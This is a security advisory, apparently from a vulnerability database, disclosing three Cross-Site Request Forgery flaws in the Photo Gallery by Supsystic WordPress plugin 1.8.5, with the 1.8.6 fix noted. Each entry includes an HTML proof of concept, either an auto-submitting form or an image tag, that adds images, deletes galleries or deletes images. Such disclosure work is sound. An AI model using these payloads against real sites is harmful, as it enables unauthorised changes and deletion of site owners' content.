WordPress Photo Gallery 1.8.5 Cross Site Request Forgery

2016.08.16
Credit: Umit Aksu
Risk: Low
Local: No
Remote: Yes
CVE: N/A
CWE: CWE-352

------------------------------------------------------------------------ Cross-Site Request Forgery in Photo Gallery WordPress Plugin allows adding of images ------------------------------------------------------------------------ Umit Aksu, July 2016 ------------------------------------------------------------------------ Abstract ------------------------------------------------------------------------ A Cross-Site Request Forgery vulnerability was found in the Photo Gallery by Supsystic WordPress Plugin. This issue can be used by an attacker to add images to a gallery. ------------------------------------------------------------------------ OVE ID ------------------------------------------------------------------------ OVE-20160722-0001 ------------------------------------------------------------------------ Tested versions ------------------------------------------------------------------------ This issue was successfully tested on Photo Gallery by Supsystic WordPress Plugin version 1.8.5. ------------------------------------------------------------------------ Fix ------------------------------------------------------------------------ This issue is resolved in Photo Gallery by Supsystic version 1.8.6. ------------------------------------------------------------------------ Details ------------------------------------------------------------------------ https://sumofpwn.nl/advisory/2016/cross_site_request_forgery_in_photo_gallery_wordpress_plugin_allows_adding_of_images.html This issue exists because Photo Gallery lacks protection against Cross-Site Request Forgery attacks. Due to this, it is possible to add images to a gallery. In order to exploit this issue, the attacker has to lure/force a victim into opening a malicious website/link. Proof of concept <html> <body> <form method="post" action="http://<target>/wp-admin/admin-ajax.php"> <input type="hidden" name="action" value="grid-gallery"> <input type="hidden" name="galleryId" value="5"> <input type="hidden" name="attachType" value="gallery"> <input type="hidden" name="folder_id" value="0"> <input type="hidden" name="attachment_id" value="10"> <input type="hidden" name="route[module]" value="photos"> <input type="hidden" name="route[action]" value="add"> </form> <script> document.forms[0].submit(); </script> </body> </html> ------------------------------------------------------------------------ Cross-Site Request Forgery in Photo Gallery WordPress Plugin allows deleting of galleries ------------------------------------------------------------------------ Umit Aksu, July 2016 ------------------------------------------------------------------------ Abstract ------------------------------------------------------------------------ A Cross-Site Request Forgery vulnerability was found in the Photo Gallery by Supsystic WordPress Plugin. This issue can be used by an attacker to delete arbitrary gallleries. ------------------------------------------------------------------------ OVE ID ------------------------------------------------------------------------ OVE-20160722-0003 ------------------------------------------------------------------------ Tested versions ------------------------------------------------------------------------ This issue was successfully tested on Photo Gallery by Supsystic WordPress Plugin version 1.8.5. ------------------------------------------------------------------------ Fix ------------------------------------------------------------------------ This issue is resolved in Photo Gallery by Supsystic version 1.8.6. ------------------------------------------------------------------------ Details ------------------------------------------------------------------------ https://sumofpwn.nl/advisory/2016/cross_site_request_forgery_in_photo_gallery_wordpress_plugin_allows_deleting_of_galleries.html This issue exists because Photo Gallery lacks protection against Cross-Site Request Forgery attacks. Due to this, it is possible to delete arbitrary gallleries. In order to exploit this issue, the attacker has to lure/force a victim into opening a malicious website/link. Proof of concept <html> <body> <img src="http://<target>/wp-admin/admin.php?page=supsystic-gallery&module=galleries&action=delete&gallery_id=10 "> </body> </html> ------------------------------------------------------------------------ Cross-Site Request Forgery in Photo Gallery WordPress Plugin allows deleting of images ------------------------------------------------------------------------ Umit Aksu, July 2016 ------------------------------------------------------------------------ Abstract ------------------------------------------------------------------------ A Cross-Site Request Forgery vulnerability was found in the Photo Gallery by Supsystic WordPress Plugin. This issue can be used by an attacker to delete arbitrary images from the Photo Gallery. ------------------------------------------------------------------------ OVE ID ------------------------------------------------------------------------ OVE-20160722-0002 ------------------------------------------------------------------------ Tested versions ------------------------------------------------------------------------ This issue was successfully tested on Photo Gallery by Supsystic WordPress Plugin version 1.8.5. ------------------------------------------------------------------------ Fix ------------------------------------------------------------------------ This issue is resolved in Photo Gallery by Supsystic version 1.8.6. ------------------------------------------------------------------------ Details ------------------------------------------------------------------------ https://sumofpwn.nl/advisory/2016/cross_site_request_forgery_in_photo_gallery_wordpress_plugin_allows_deleting_of_images.html This issue exists because Photo Gallery lacks protection against Cross-Site Request Forgery attacks. Due to this, it is possible to delete images from an existing gallery. In order to exploit this issue, the attacker has to lure/force a victim into opening a malicious website/link. Proof of concept <html> <body> <form method="post" action="http://192.168.1.18/wp-admin/admin-ajax.php"> <input type="hidden" name="action" value="grid-gallery"> <input type="hidden" name="gallery_id" value="2"> <input type="hidden" name="ids[]" value="5"> <input type="hidden" name="ids[]" value="7"> <input type="hidden" name="route[module]" value="galleries"> <input type="hidden" name="route[action]" value="deleteResource"> </form> <script> document.forms[0].submit(); </script> </body> </html>


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